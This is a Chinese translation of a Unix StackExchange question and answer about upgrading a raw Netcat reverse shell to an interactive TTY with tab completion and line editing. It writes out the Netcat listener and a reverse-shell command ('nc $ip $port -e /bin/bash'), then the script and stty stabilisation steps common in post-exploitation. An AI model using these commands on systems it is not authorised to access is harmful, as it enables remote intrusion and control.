Bash

如何將原始的 Netcat shell 升級為具有製表符補全和行編輯功能的全功能登錄 shell?

  • June 12, 2019

如何將原始的 Netcat shell 升級為具有製表符補全和行編輯功能的全功能登錄 shell?

假設我使用 Netcat 啟動一個遠端(反向)shell,如下所示:

nc -lvp $port
nc $ip $port -e '/bin/bash'

現在,我得到的是一個沒有 TTY、製表符補全、行編輯或歷史記錄的 shell。也就是說,向左、向上、向右和向下鍵盤鍵會導致^[[D,^[[A,^[[C,^[[B、 和 ,而按下^C會導致 shell 終止:

  $ tty
  not a tty

現在,為 shell 啟動一個 PTY 是相當簡單的,這樣類似的命令su就可以執行了。但是,shell 仍然缺少普通登錄 shell 所期望的基本功能(見上文)。

如果可能,如何將 Netcat 啟動的 shell 升級為類似於普通登錄 shell 的東西?請解釋一下步驟。

您不能“升級”已經執行的 shell。

但是你可以

a) 創建一個 pty 並在其中執行另一個 shellscript /dev/null

b)擺弄您的本地終端,因此它不會專門解釋intr,eofeol其他鍵,而是通過它們。

$ nc -lvp 9999
Listening on [0.0.0.0] (family 0, port 9999)

 [ncat -4 localhost 9999 -e /bin/bash in another terminal]

Connection from localhost 36790 received!
exec script /dev/null
Script started, file is /dev/null
bash-4.4$

 [press Control-Z]

[1]+  Stopped                 nc -lvp 9999
s=$(stty -g); stty -icanon -echo -isig; fg; stty "$s"

 [press Enter]

bash-4.4$

 [now history and control keys work as expected

  you may also want to set the correct name with TERM=
  and the correct size with stty rows R cols C

  press Control-D to terminate the shell] 

無論如何,這個網貓遊戲非常沒有意義和荒謬;誰真的想通過未加密的連接執行 shell 會話?ssh早在 2019 年,我們就已經有了類似的東西。

引用自:https://unix.stackexchange.com/questions/524474